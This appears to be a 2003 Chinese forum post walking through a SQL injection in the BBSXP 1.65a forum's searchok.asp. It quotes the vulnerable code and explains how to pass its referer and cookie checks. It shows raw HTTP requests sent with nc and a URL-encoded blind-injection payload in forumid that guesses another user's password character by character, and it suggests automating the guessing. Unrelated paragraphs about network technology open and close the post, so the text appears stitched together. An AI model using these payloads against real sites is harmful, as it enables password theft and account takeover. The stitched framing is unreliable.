网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
飞翔的背心@2003.6.24
BBSXP(www.Yuzi.net)据说是“经过将近3年的测试,可说是不存在任何BUG”,很厉害啊!我下载了一个1.65a版,免费的,可能和dvBBS一样,有传说中的商业版,不过我没有办法得到。
我是从最后一个文件开始看的,所以叫倒着看。其实我已经看了一半了,呵呵,不过写出来要稍微慢一点,因为我在自己的机器上测试要花时间,而且要怀着悲痛的心情送毕业的同学,进度实在快不起来。
嗯,废话就少说了,来看看到底是什么漏洞吧。
searchok.asp中存在多处可以
SQL Injection的问题,代码是这样的:
... ...
forumid=Request("forumid")
... ...
if Request("forumid")<>"" then
forumidor="forumid="&forumid&" and"
end if
... ...
count=conn.execute("Select count(id)from forum where deltopic<>1 and "&forumidor&" "&item&" "&TimeLimit&"")(0)
这其实是一个极其愚蠢的错误,我敢用我的背心打赌,要是有商业版它(们)绝对不敢这么写!可是免费版就是免费版,像dvBBS一样,就算作者知道了漏洞,免费版的用户要想得到补丁也是极其困难的事情。谁叫有商业用户呢,优先的当然不会是普通的网民,有那个的才是娘嘛。
嗯,攻击一下。
要攻击的话还要看几个地方,说起来BBSXP虽然代码写得难看,但是还是有一些基本的防护措施(尽管没用),现要绕开这些个形同虚设障碍才好办事情。先来分析一下有那些障碍,代码是这样的:
<!-- #include file="setup.asp" -->
if Request.Cookies("username")="" then
error("<li>您还还未<a href=login.asp>登陆</a>社区")
end if
if instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0 then
error("<li>来源错误")
end if
setup.asp中的防范很简单,只要你或者浏览器提交的cookie中username不包含空格和单引号而且确实存在这个用户就可以了。上面的第一个if判断好像没有什么用,呵呵,第二个if判断是要求引用来源与服务器相一致,也很容易办到。其实我们可以先看看浏览器是怎么提交请求的,大部分情况下,都可以稍微改一下就用,而且最重要的,浏览器提交的正常数据百分之百能够满足那些(作者认为的)苛刻条件,这将是一个非常好的参考。当然,如果你发现浏览器提交的数据都不能通过代码中的检测条件,那只能说明编写这个的人脑壳坏掉了。
抓浏览器提交的数据,只要一个NC就可以,而且我觉得
脚本攻击的话,极端情况下也就只需要一个NC,真是居家旅行,XXXX,必备XX啊。
先在自己的机器上配置好IIS和BBSXP,注册一个ID登陆进去,然后转到search.asp,搜索栏里面随便填一个1吧,然后我们开始抓提交的数据了。现在把Internet信息服务中的你使用的站点停止,在cmd中用NC监听80口(nc -l -p 80),回到浏览器上面,轻轻按一下回车键,OK,NC那边数据已经出来了,我的是这样的。
POST /BBSXP/searchok.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/BBSXP/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)
Host: localhost
Content-Length: 108
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18; onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!; addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=5&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
如果想知道每一行代表什么意思,请找参考书,这里不会一一介绍的。我们只看重要的:
Referer: http://localhost/BBSXP/search.asp
这个值一定要包含对方服务器的名字,比如我是在本机上测试的,就要有localhost,如果你在www.Yuzi.net上测试,一定要有www.Yuzi.net。这是因为要使得instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0这个条件不成立(见上面的代码)。
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18; onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!; addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
Cookie伪造就指的这个东西了,要是你乱填Cookie的值,就是Cookie伪造,呵呵!不过这里该是什么就是什么,我们没有必要去作假的Cookie,username和userpass都填上你的真实资料吧。
Content-Length: 108
这是POST过去的数据的长度,可能要你自己计算,但是可以把这个值稍微写大一点,并不影响你提交的数据的内容,只是可能要多打几次回车。
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=5&forumid=&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
这就是本次的最重要的内容,POST过去的数据。按照上面对漏洞的理解,这里要修改的是forumid的值,如果是MSSQL的话,方法是直接用冒号结束前一句然后注入你喜欢的SQL查询或者是存储过程,这里就不多说了。因为大部分用的是ACCESS,只能制造畸形的查询条件来猜测表的内容,这里做一个示范。记住,POST过去的东西,很多要先编码,比如空格要用%20表示,不然会得不到预定结果的。我用的数据是这样的:
D:\>nc localhost 80
POST /BBSXP/searchok.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/BBSXP/search.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)
Host: localhost
Content-Length: 178
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D6%2D24+12%3A38%3A18; onlinetime=2002%2D6%2D24+12%3A38%3A05; username=never; userpass=FuckUSA!!; addmin=0; ASPSESSIONIDGQQGGLBU=CLGHHMJCCGPBMOHGPPDNFCOO
content=1&searchxm=username&search=key&searchxm2=topic&TimeLimit=&forumid=1%20and%201=(select%20count(*)%20from%20user%20where%20left(userpass,1)='2'%20and%20username='never')%20&submit1=%BF%AA%CA%BC%CB%D1%CB%F7
看出来了吗,fourmid的值是
1 and 1=(select count(*) from user where left(userpass,1)='2' and username='never')
呵呵,到这里就可以慢慢的来猜别人(这里是never)的密码了。手工猜在这里就很难办了,最好是用perl写个小东东。
至于猜测成功与否的条件也是非常简单的,因为serachok.asp中判断Count=0(没有结果)时,会出现“对不起,没有找到您要查询的内容”的字样,只要获得的数据中不出现这个,那么几乎可以肯定猜对了。
嗯,写到这里发现这种东西写得一点创意都没有,不过那位问我判断instr(Request.ServerVariables("http_referer"),""&Request.ServerVariables("server_name")&"") = 0是否有用的朋友,我相信您肯定明白答案了吧。
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
……